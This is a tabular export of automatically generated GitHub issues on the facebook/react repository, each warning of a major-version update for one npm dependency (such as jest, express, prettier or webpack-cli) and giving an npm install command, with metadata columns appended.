facebook/react,3241164887,Update source-map-loader from ^3.0.0 to 5.0.0,"## Breaking Change Warning
        
A major version update is available for **source-map-loader**.

### Current Version
- **^3.0.0**

### Latest Version
- **5.0.0**

### Package Information
- **Description:** extracts inlined source map and offers it to webpack
- **Homepage:** https://github.com/webpack-contrib/source-map-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install source-map-loader@5.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:54+00:00,2025-07-19 02:15:24+00:00,1,nan,1.142,update source map loader from to breaking change warning a major version update is available for source map loader current version latest version package information description extracts inlined source map and offers it to webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164858,Update sass-loader from ^12.3.0 to 16.0.5,"## Breaking Change Warning
        
A major version update is available for **sass-loader**.

### Current Version
- **^12.3.0**

### Latest Version
- **16.0.5**

### Package Information
- **Description:** Sass loader for webpack
- **Homepage:** https://github.com/webpack-contrib/sass-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install sass-loader@16.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:54+00:00,2025-07-19 02:15:27+00:00,1,nan,1.142,update sass loader from to breaking change warning a major version update is available for sass loader current version latest version package information description sass loader for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164830,Update resolve-url-loader from ^4.0.0 to 5.0.0,"## Breaking Change Warning
        
A major version update is available for **resolve-url-loader**.

### Current Version
- **^4.0.0**

### Latest Version
- **5.0.0**

### Package Information
- **Description:** Webpack loader that resolves relative paths in url() statements based on the original source file
- **Homepage:** https://github.com/bholloway/resolve-url-loader/tree/v5/packages/resolve-url-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install resolve-url-loader@5.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:53+00:00,2025-07-19 02:15:29+00:00,1,nan,1.1421,update resolve url loader from to breaking change warning a major version update is available for resolve url loader current version latest version package information description webpack loader that resolves relative paths in url statements based on the original source file homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.8126
facebook/react,3241164775,Update postcss-preset-env from ^7.0.1 to 10.2.4,"## Breaking Change Warning
        
A major version update is available for **postcss-preset-env**.

### Current Version
- **^7.0.1**

### Latest Version
- **10.2.4**

### Package Information
- **Description:** Convert modern CSS into something browsers understand
- **Homepage:** https://github.com/csstools/postcss-plugins/tree/main/plugin-packs/postcss-preset-env#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install postcss-preset-env@10.2.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:51+00:00,2025-07-19 02:15:31+00:00,1,nan,1.1421,update postcss preset env from to breaking change warning a major version update is available for postcss preset env current version latest version package information description convert modern css into something browsers understand homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164756,Update postcss-normalize from ^10.0.1 to 13.0.1,"## Breaking Change Warning
        
A major version update is available for **postcss-normalize**.

### Current Version
- **^10.0.1**

### Latest Version
- **13.0.1**

### Package Information
- **Description:** Use the parts of normalize.css or sanitize.css you need from your browserslist
- **Homepage:** https://github.com/csstools/postcss-normalize#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install postcss-normalize@13.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:51+00:00,2025-07-19 02:15:33+00:00,1,nan,1.1422,update postcss normalize from to breaking change warning a major version update is available for postcss normalize current version latest version package information description use the parts of normalize css or sanitize css you need from your browserslist homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164727,Update postcss-loader from ^6.2.1 to 8.1.1,"## Breaking Change Warning
        
A major version update is available for **postcss-loader**.

### Current Version
- **^6.2.1**

### Latest Version
- **8.1.1**

### Package Information
- **Description:** PostCSS loader for webpack
- **Homepage:** https://github.com/webpack-contrib/postcss-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install postcss-loader@8.1.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:50+00:00,2025-07-19 02:15:35+00:00,1,nan,1.1422,update postcss loader from to breaking change warning a major version update is available for postcss loader current version latest version package information description postcss loader for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164698,Update nodemon from ^2.0.19 to 3.1.10,"## Breaking Change Warning
        
A major version update is available for **nodemon**.

### Current Version
- **^2.0.19**

### Latest Version
- **3.1.10**

### Package Information
- **Description:** Simple monitor script for use during development of a Node.js app.
- **Homepage:** https://nodemon.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install nodemon@3.1.10
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:50+00:00,2025-07-19 02:15:37+00:00,1,nan,1.1422,update nodemon from to breaking change warning a major version update is available for nodemon current version latest version package information description simple monitor script for use during development of a node js app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164673,Update jest-watch-typeahead from ^1.0.0 to 3.0.1,"## Breaking Change Warning
        
A major version update is available for **jest-watch-typeahead**.

### Current Version
- **^1.0.0**

### Latest Version
- **3.0.1**

### Package Information
- **Description:** Jest plugin for filtering by filename or test name
- **Homepage:** https://github.com/jest-community/jest-watch-typeahead

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-watch-typeahead@3.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:49+00:00,2025-07-19 02:15:39+00:00,1,nan,1.1422,update jest watch typeahead from to breaking change warning a major version update is available for jest watch typeahead current version latest version package information description jest plugin for filtering by filename or test name homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164644,Update jest-resolve from ^27.4.2 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **jest-resolve**.

### Current Version
- **^27.4.2**

### Latest Version
- **30.0.2**

### Package Information

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-resolve@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:48+00:00,2025-07-19 02:15:42+00:00,1,nan,1.1423,update jest resolve from to breaking change warning a major version update is available for jest resolve current version latest version package information recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6597
facebook/react,3241164620,Update jest from ^27.4.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^27.4.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:48+00:00,2025-07-19 02:15:44+00:00,1,nan,1.1423,update jest from to breaking change warning a major version update is available for jest current version latest version package information description delightful javascript testing homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6369
facebook/react,3241164591,Update fs-extra from ^10.0.0 to 11.3.0,"## Breaking Change Warning
        
A major version update is available for **fs-extra**.

### Current Version
- **^10.0.0**

### Latest Version
- **11.3.0**

### Package Information
- **Description:** fs-extra contains methods that aren't included in the vanilla Node.js fs package. Such as recursive mkdir, copy, and remove.
- **Homepage:** https://github.com/jprichardson/node-fs-extra

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install fs-extra@11.3.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:47+00:00,2025-07-19 02:15:46+00:00,1,nan,1.1423,update fs extra from to breaking change warning a major version update is available for fs extra current version latest version package information description fs extra contains methods that aren t included in the vanilla node js fs package such as recursive mkdir copy and remove homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164568,Update dotenv-expand from ^5.1.0 to 12.0.2,"## Breaking Change Warning
        
A major version update is available for **dotenv-expand**.

### Current Version
- **^5.1.0**

### Latest Version
- **12.0.2**

### Package Information
- **Description:** Expand environment variables using dotenv
- **Homepage:** https://github.com/motdotla/dotenv-expand#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install dotenv-expand@12.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:46+00:00,2025-07-19 02:15:48+00:00,1,nan,1.1424,update dotenv expand from to breaking change warning a major version update is available for dotenv expand current version latest version package information description expand environment variables using dotenv homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.743
facebook/react,3241164544,Update dotenv from ^10.0.0 to 17.2.0,"## Breaking Change Warning
        
A major version update is available for **dotenv**.

### Current Version
- **^10.0.0**

### Latest Version
- **17.2.0**

### Package Information
- **Description:** Loads environment variables from .env file
- **Homepage:** https://github.com/motdotla/dotenv#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install dotenv@17.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:46+00:00,2025-07-19 02:15:51+00:00,1,nan,1.1424,update dotenv from to breaking change warning a major version update is available for dotenv current version latest version package information description loads environment variables from env file homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164526,Update css-minimizer-webpack-plugin from ^3.2.0 to 7.0.2,"## Breaking Change Warning
        
A major version update is available for **css-minimizer-webpack-plugin**.

### Current Version
- **^3.2.0**

### Latest Version
- **7.0.2**

### Package Information
- **Description:** CSS minimizer (minifier) plugin for Webpack
- **Homepage:** https://github.com/webpack-contrib/css-minimizer-webpack-plugin

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install css-minimizer-webpack-plugin@7.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:45+00:00,2025-07-19 02:15:53+00:00,1,nan,1.1425,update css minimizer webpack plugin from to breaking change warning a major version update is available for css minimizer webpack plugin current version latest version package information description css minimizer minifier plugin for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164498,Update css-loader from ^6.5.1 to 7.1.2,"## Breaking Change Warning
        
A major version update is available for **css-loader**.

### Current Version
- **^6.5.1**

### Latest Version
- **7.1.2**

### Package Information
- **Description:** css loader module for webpack
- **Homepage:** https://github.com/webpack-contrib/css-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install css-loader@7.1.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:45+00:00,2025-07-19 02:15:55+00:00,1,nan,1.1425,update css loader from to breaking change warning a major version update is available for css loader current version latest version package information description css loader module for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164477,Update concurrently from ^7.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^7.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:44+00:00,2025-07-19 02:15:58+00:00,1,nan,1.1425,update concurrently from to breaking change warning a major version update is available for concurrently current version latest version package information description run commands concurrently homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164435,Update camelcase from ^6.2.1 to 8.0.0,"## Breaking Change Warning
        
A major version update is available for **camelcase**.

### Current Version
- **^6.2.1**

### Latest Version
- **8.0.0**

### Package Information
- **Description:** Convert a dash/dot/underscore/space separated string to camelCase or PascalCase: `foo-bar` → `fooBar`
- **Homepage:** https://github.com/sindresorhus/camelcase#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install camelcase@8.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:43+00:00,2025-07-19 02:16:00+00:00,1,nan,1.1426,update camelcase from to breaking change warning a major version update is available for camelcase current version latest version package information description convert a dash dot underscore space separated string to camelcase or pascalcase homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164414,Update body-parser from ^1.20.1 to 2.2.0,"## Breaking Change Warning
        
A major version update is available for **body-parser**.

### Current Version
- **^1.20.1**

### Latest Version
- **2.2.0**

### Package Information
- **Description:** Node.js body parsing middleware
- **Homepage:** https://github.com/expressjs/body-parser#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install body-parser@2.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:42+00:00,2025-07-19 02:16:02+00:00,1,nan,1.1426,update body parser from to breaking change warning a major version update is available for body parser current version latest version package information description node js body parsing middleware homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164393,Update babel-loader from ^8.2.3 to 10.0.0,"## Breaking Change Warning
        
A major version update is available for **babel-loader**.

### Current Version
- **^8.2.3**

### Latest Version
- **10.0.0**

### Package Information
- **Description:** babel module loader for webpack
- **Homepage:** https://github.com/babel/babel-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-loader@10.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:42+00:00,2025-07-19 02:16:05+00:00,1,nan,1.1426,update babel loader from to breaking change warning a major version update is available for babel loader current version latest version package information description babel module loader for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164373,Update babel-jest from ^27.4.2 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **babel-jest**.

### Current Version
- **^27.4.2**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Jest plugin to use babel for transformation.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:41+00:00,2025-07-19 02:16:07+00:00,1,nan,1.1427,update babel jest from to breaking change warning a major version update is available for babel jest current version latest version package information description jest plugin to use babel for transformation recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164352,Update @testing-library/user-event from ^13.2.1 to 14.6.1,"## Breaking Change Warning
        
A major version update is available for **@testing-library/user-event**.

### Current Version
- **^13.2.1**

### Latest Version
- **14.6.1**

### Package Information
- **Description:** Fire events the same way the user does
- **Homepage:** https://github.com/testing-library/user-event#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/user-event@14.6.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:41+00:00,2025-07-19 02:16:09+00:00,1,nan,1.1427,update testing library user event from to breaking change warning a major version update is available for testing library user event current version latest version package information description fire events the same way the user does homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,-0.25
facebook/react,3241164322,Update @testing-library/react from ^13.0.0 to 16.3.0,"## Breaking Change Warning
        
A major version update is available for **@testing-library/react**.

### Current Version
- **^13.0.0**

### Latest Version
- **16.3.0**

### Package Information
- **Description:** Simple and complete React DOM testing utilities that encourage good testing practices.
- **Homepage:** https://github.com/testing-library/react-testing-library#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/react@16.3.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:40+00:00,2025-07-19 02:16:11+00:00,1,nan,1.1427,update testing library react from to breaking change warning a major version update is available for testing library react current version latest version package information description simple and complete react dom testing utilities that encourage good testing practices homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.765
facebook/react,3241164295,Update @testing-library/jest-dom from ^5.14.1 to 6.6.3,"## Breaking Change Warning
        
A major version update is available for **@testing-library/jest-dom**.

### Current Version
- **^5.14.1**

### Latest Version
- **6.6.3**

### Package Information
- **Description:** Custom jest matchers to test the state of the DOM
- **Homepage:** https://github.com/testing-library/jest-dom#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/jest-dom@6.6.3
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:39+00:00,2025-07-19 02:16:13+00:00,1,nan,1.1428,update testing library jest dom from to breaking change warning a major version update is available for testing library jest dom current version latest version package information description custom jest matchers to test the state of the dom homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164259,Update @svgr/webpack from ^5.5.0 to 8.1.0,"## Breaking Change Warning
        
A major version update is available for **@svgr/webpack**.

### Current Version
- **^5.5.0**

### Latest Version
- **8.1.0**

### Package Information
- **Description:** SVGR webpack loader.
- **Homepage:** https://react-svgr.com

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @svgr/webpack@8.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:39+00:00,2025-07-19 02:16:15+00:00,1,nan,1.1428,update svgr webpack from to breaking change warning a major version update is available for svgr webpack current version latest version package information description svgr webpack loader homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164149,Update express from ^4.18.2 to 5.1.0,"## Breaking Change Warning
        
A major version update is available for **express**.

### Current Version
- **^4.18.2**

### Latest Version
- **5.1.0**

### Package Information
- **Description:** Fast, unopinionated, minimalist web framework
- **Homepage:** https://expressjs.com/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install express@5.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:36+00:00,2025-07-19 02:16:18+00:00,1,nan,1.1428,update express from to breaking change warning a major version update is available for express current version latest version package information description fast unopinionated minimalist web framework homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.5267
facebook/react,3241164137,Update concurrently from ^7.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^7.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:35+00:00,2025-07-19 02:16:20+00:00,1,nan,1.1429,update concurrently from to breaking change warning a major version update is available for concurrently current version latest version package information description run commands concurrently homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164108,Update @types/node from ^22.10.1 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^22.10.1**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:35+00:00,2025-07-19 02:16:22+00:00,1,nan,1.1429,update types node from to breaking change warning a major version update is available for types node current version latest version package information description typescript definitions for node homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164041,Update undici from ^5.20.0 to 7.11.0,"## Breaking Change Warning
        
A major version update is available for **undici**.

### Current Version
- **^5.20.0**

### Latest Version
- **7.11.0**

### Package Information
- **Description:** An HTTP/1.1 client, written from scratch for Node.js
- **Homepage:** https://undici.nodejs.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install undici@7.11.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:33+00:00,2025-07-19 02:16:26+00:00,1,nan,1.143,update undici from to breaking change warning a major version update is available for undici current version latest version package information description an http client written from scratch for node js homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164015,Update nodemon from ^2.0.19 to 3.1.10,"## Breaking Change Warning
        
A major version update is available for **nodemon**.

### Current Version
- **^2.0.19**

### Latest Version
- **3.1.10**

### Package Information
- **Description:** Simple monitor script for use during development of a Node.js app.
- **Homepage:** https://nodemon.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install nodemon@3.1.10
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:32+00:00,2025-07-19 02:16:28+00:00,1,nan,1.143,update nodemon from to breaking change warning a major version update is available for nodemon current version latest version package information description simple monitor script for use during development of a node js app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163996,Update concurrently from ^7.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^7.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:31+00:00,2025-07-19 02:16:31+00:00,1,nan,1.1431,update concurrently from to breaking change warning a major version update is available for concurrently current version latest version package information description run commands concurrently homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163963,Update body-parser from ^1.20.1 to 2.2.0,"## Breaking Change Warning
        
A major version update is available for **body-parser**.

### Current Version
- **^1.20.1**

### Latest Version
- **2.2.0**

### Package Information
- **Description:** Node.js body parsing middleware
- **Homepage:** https://github.com/expressjs/body-parser#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install body-parser@2.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:31+00:00,2025-07-19 02:16:33+00:00,1,nan,1.1431,update body parser from to breaking change warning a major version update is available for body parser current version latest version package information description node js body parsing middleware homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163921,Update prettier from 1.19.1 to 3.6.2,"## Breaking Change Warning
        
A major version update is available for **prettier**.

### Current Version
- **1.19.1**

### Latest Version
- **3.6.2**

### Package Information
- **Description:** Prettier is an opinionated code formatter
- **Homepage:** https://prettier.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install prettier@3.6.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:30+00:00,2025-07-19 02:16:36+00:00,1,nan,1.1431,update prettier from to breaking change warning a major version update is available for prettier current version latest version package information description prettier is an opinionated code formatter homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.8658
facebook/react,3241163900,Update webpack-cli from ^4.2.0 to 6.0.1,"## Breaking Change Warning
        
A major version update is available for **webpack-cli**.

### Current Version
- **^4.2.0**

### Latest Version
- **6.0.1**

### Package Information
- **Description:** CLI for webpack & friends
- **Homepage:** https://github.com/webpack/webpack-cli/tree/master/packages/webpack-cli

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack-cli@6.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
